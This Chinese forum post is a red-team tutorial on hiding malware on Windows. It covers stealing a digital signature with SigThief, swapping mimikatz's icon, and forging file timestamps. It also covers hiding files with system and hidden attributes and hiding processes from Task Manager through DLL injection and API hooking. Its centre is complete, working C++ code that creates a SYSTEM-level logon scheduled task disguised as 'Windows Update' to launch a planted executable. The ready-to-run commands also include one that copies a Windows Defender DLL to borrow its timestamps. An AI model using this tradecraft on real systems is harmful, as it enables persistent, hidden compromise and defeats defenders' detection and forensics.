找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2178

积分

0

好友

290

主题
发表于 昨天 05:42 | 查看: 14| 回复: 0

在红蓝对抗的攻防演练中,攻击者为了使其恶意程序长期驻留并规避检测,需要对进程进行精心的隐藏和伪装。本文将介绍在Windows系统中实现进程隐藏的五种常见技术思路,涵盖了从文件伪装、权限维持到深度隐藏和进程隐藏等多个层面。

1、可执行文件伪装与数字签名窃取

为恶意程序披上“合法”的外衣,是绕过安全软件静态检测的第一步。

数字签名伪造
使用工具 SigThief 可以从一个已签名的可信文件中窃取数字签名,并将其附加到另一个文件上,从而伪造签名。

python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe
  • -i 指定带有合法签名的来源文件。
  • -t 指定需要被伪造的目标文件。
  • -o 指定输出文件。

使用SigThief伪造数字签名的命令行操作及文件属性对比

执行命令后,生成的 tes.exe 文件将拥有与 360Safe.exe 相同的数字签名信息,如签名者“Beijing Qihu Technology Co., Ltd.”,这可以欺骗部分依赖签名进行信任判断的安全机制。市面上也存在如亚洲诚信(TRUSTAsia)等提供专业签名服务的工具。

图标伪装
除了签名,程序图标也是重要的识别特征。

  • 图标提取:使用工具如 BeCyIconGrabber 可以从已有的可执行文件(如 360安全卫士)中提取其图标资源。
    使用BeCyIconGrabber从可执行文件中提取图标

  • 图标替换:使用 Resource Hacker 这类资源编辑工具,可以打开目标程序(如 mimikatz.exe),并用提取到的可信图标(如 360Safe.ico)替换其原有图标。
    使用Resource Hacker替换mimikatz.exe的图标

通过伪造签名和替换图标,恶意程序在文件属性、资源管理器视图乃至部分安全软件的展示中,看起来都与一个可信程序无异。这类技术是安全/渗透/逆向对抗中文件免杀的基础手段。

2、利用计划任务API实现权限维持

权限维持(Persistence)是确保攻击者在退出后仍能重新获得访问权限的关键。利用Windows计划任务服务是一种常见且有效的方法。

通过编程调用Windows任务计划程序API,可以创建高隐蔽性的自启动任务。下面是一个使用C++编写的示例,创建了一个名为“Windows Update”的计划任务,在任何用户登录时触发执行指定路径的程序。

// Tasksch.cpp : 此文件包含 “main“ 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#define _WIN32_DCOM
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
//  引入计划任务头
#include <taskschd.h>
#pragma comment(lib, “taskschd.lib“)
#pragma comment(lib, “comsupp.lib“)

using namespace std;

int __cdecl wmain()
{

// 初始化COM
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr))
    {
printf(“\nCoInitializeEx failed: %x“, hr);
return 1;
    }

// 注册安全性并设置该过程的默认安全性值。
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);

LPCWSTR wszTaskName = L“Windows Update“; //设置计划任务名称

//创建ITaskService的实例

ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
        (void**)&pService);

// 链接到任务实例
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());

//     获取指向根任务文件夹的指针。
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L“\\“), &pRootFolder);

//  如果存在相同的任务删除该任务
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);

//  创建任务生成器对象以创建任务。
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);

pService->Release();  //清理Com

// 获取注册信息
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
BSTR ms = SysAllocString(L“Microsoft“);                        // 修改你想要改的计划任务创建者

//  创建计划任务设置
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);

//      设置任务的设置值
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();

//  ------------------------------------------------------
//  获取取触发器集合以插入登录触发器。
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);

//  添加触发器
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);   //TASK_TRIGGER_EVENT 事件触发
// TASK_TRIGGER_TIME   特定时间触发
// TASK_TRIGGER_DAILY  每天触发
// TASK_TRIGGER_WEEKLY 每周触发
// TASK_TRIGGER_MONTHLY  每月触发
// TASK_TRIGGER_MONTHLYDOW 按每月的星期几触发
// TASK_TRIGGER_IDLE   系统空闲时触发
// TASK_TRIGGER_REGISTRATION   注册任务时触发
// TASK_TRIGGER_BOOT   启动触发
// TASK_TRIGGER_LOGON  用户登录触发
// TASK_TRIGGER_SESSION_STATE_CHANGE   会话更改时触发
pTriggerCollection->Release();

ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_ILogonTrigger, (void**)&pLogonTrigger);
pTrigger->Release();

hr = pLogonTrigger->put_Id(_bstr_t(L“Trigger1“));

/*
//设置指定触发时间 如果不设置 代表任何时间都可以触发

hr = pLogonTrigger->put_StartBoundary( _bstr_t(L“2020-10-30T08:00:00”) );

hr = pLogonTrigger->put_EndBoundary( _bstr_t(L“2020-10-30T08:00:00”) );
*/

/*
//  定义某个用户 登录时触发 注释掉代表所有用户登录后触发

hr = pLogonTrigger->put_UserId( _bstr_t( L“administrator” ) );   //某用户登录后触发 设置某用户
//put_UserId    获取或设置用户的标识符。 参数 BSTR user
//HRESULT put_UserId(
//  BSTR user
//);

//put_Delay      获取或设置一个值,该值指示用户登录到开始任务之间的时间。 参数 BSTR delay
//HRESULT put_Delay(
//  BSTR delay
//);

pLogonTrigger->Release();

*/

IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); //触发程序执行: TASK_ACTION_EXEC
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);

hr = pExecAction->put_Path(_bstr_t(L“C:\\Users\\Public\\AccountPictures\\new_msedge.exe“));
pExecAction->Release();
if (FAILED(hr))
    {
printf(“ 无法设置程序执行路径: %x“, hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
    }

IRegisteredTask* pRegisteredTask = NULL;

hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE,  // 创建并覆盖现有的计划任务:TASK_CREATE_OR_UPDATE
//仅更新:TASK_UPDATE
//仅创建:TASK_CREATE
//禁用:TASK_DISABLE

_variant_t(L“system“),  // 启动身份 system 或者administrator
_variant_t(),
TASK_LOGON_GROUP,  //登录技术  组激活:TASK_LOGON_GROUP 用户登录后激活:TASK_LOGON_INTERACTIVE_TOKEN
_variant_t(L““),
&pRegisteredTask);

if (FAILED(hr))
    {
printf(“\n无法保存计划任务 : %x“, hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
    }

printf(“Success! 成功注册计划任务 “);

// Clean up
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}

这段C/C++代码展示了如何通过COM接口与任务计划服务交互,创建一个以系统权限运行、触发条件为“用户登录”的隐藏后门。成功执行后,在任务计划程序中可以看到名为“Windows Update”的任务,其操作指向一个伪装的可执行文件。

任务计划程序中创建的“Windows Update”任务,触发器为“当任何用户登录时”

此外,也有集成化工具可以简化这个过程,例如 SchTask_0x727。使用命令 SchTask.exe de.exe 1 即可快速将 de.exe 创建为计划任务。

该工具运行后,会将程序迁移至隐蔽目录(如 C:\Users\[UserName]\AppData\Roaming\Microsoft\Windows\Themes\),并在注册表中创建对应的计划任务项。在注册表路径 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 下可以找到相关键值,攻击者甚至可能在此处留下“彩蛋”。

注册表路径下计划任务项的键值,其中包含隐藏信息

3、修改文件时间属性以规避时间排查

蓝队人员在溯源时,经常会利用“最近修改时间”来筛选可疑文件。例如,使用 Everything 等工具可以快速列出特定时间段内新增或修改的可执行文件。如果恶意程序的创建/修改时间明显晚于系统文件,则极易暴露。

使用Everything搜索特定时间段的.exe文件

为了对抗这种排查,需要修改恶意程序的时间戳(创建时间、修改时间、访问时间),使其与系统目录下的正常文件保持一致。

方法一:使用ChTimeStamp
项目 ChTimeStamp 可以将目标文件的时间戳修改为与参考文件完全相同。

  1. 首先复制一个系统可信文件(如Windows Defender的MpClient.dll)到工作目录。
  2. 执行命令,将恶意程序new_msedge.exe的时间戳修改为与MpClient.dll一致。
copy “C:\Program Files\Windows Defender\MpClient.dll” C:\Users\Public\AccountPictures\MpClient.dll
C:\Users\Public\AccountPictures\ChTimeStamp.exe C:\Users\Public\AccountPictures\new_msedge.exe C:\Users\Public\AccountPictures\MpClient.dll

修改后,new_msedge.exe的修改日期会变得与系统dll文件一样“古老”。

方法二:使用ChangeTimestamp
项目 ChangeTimestamp 则允许直接指定一个具体的时间。

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27

对比修改时间戳前后的文件列表,伪装后文件日期与系统文件一致

通过时间戳伪装,恶意程序可以混迹于大量系统文件中,从而增加被时间筛查规则发现的难度。

4、设置文件系统属性实现深度隐藏

Windows文件属性除了时间,还有系统(System)、隐藏(Hidden)、只读(Read-only)等标志位。通过 attrib 命令可以设置这些属性。

# 为文件添加 系统(S)、隐藏(H)、只读(R) 属性
attrib +s +h +r xxx.exe

# 移除这些属性
attrib -s -h -r C:\Users\Public\sbqs.exe

当一个文件被标记为 系统 + 隐藏 后,在文件资源管理器中,即使开启了“显示隐藏的项目”,该文件仍然不会显示。这是因为它被视为受保护的操作系统文件。

设置前:文件夹内文件可见。
文件属性设置前,文件夹内文件正常显示

设置后:文件从普通视图中消失。只有关闭“隐藏受保护的操作系统文件(推荐)”选项,或在命令行下使用 dir /a 命令才能查看。
文件属性设置后,文件在资源管理器中不可见

这种隐藏方式简单但有效,可以避免被不经意的目录浏览发现。

5、从任务管理器中隐藏进程

上述方法主要针对文件层面,而进程在内存中的活动同样需要隐藏。一种思路是注入到任务管理器(taskmgr.exe)进程中,挂钩其枚举进程的API函数(如NtQuerySystemInformation),在返回的进程列表中将指定进程名过滤掉。

项目 Go_Processhider 实现了这一效果。运行后,可以将指定进程(例如 notepad++.exe)从任务管理器的进程列表中隐藏。

进程隐藏工具运行效果,Notepad++进程在注入后从任务管理器列表中消失

技术实现细节

  • 进程枚举:使用 CreateToolhelp32SnapshotProcess32First/Next 枚举系统进程,寻找目标(如taskmgr.exe)。
  • DLL注入:通过 VirtualAllocExWriteProcessMemoryCreateRemoteThread 将隐藏逻辑的DLL注入到目标进程。
  • 内存映射:使用 CreateFileMappingAMapViewOfFile 在进程间共享需要隐藏的进程名信息。
  • API挂钩:在目标进程内,挂钩关键的系统信息查询函数,对返回结果进行过滤。

这种方法是实打实的运行时对抗,直接干扰了系统监控工具(不仅仅是任务管理器,任何使用相同API枚举进程的工具都可能受影响)的认知,具有很高的隐蔽性。

总结

本文梳理了从文件到进程、从静态到动态的多种隐藏技术。在实际的安全对抗中,攻击者往往会组合使用多种技术,形成立体的防御绕过体系。了解这些技术原理,对于防守方构建更有效的检测和响应策略至关重要。网络安全的本质是攻防双方的持续博弈,只有深入理解攻击手法,才能更好地进行防护。关于更多系统安全与攻防技术的深入探讨,欢迎访问云栈社区进行交流学习。




上一篇:2026全国两会前瞻:AI权限、反诈联防与IOT安全成网络安全焦点
下一篇:OpenClaw中文社区版安装指南:基于Node.js的AI助手本地部署与飞书集成
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-10 10:10 , Processed in 0.584311 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表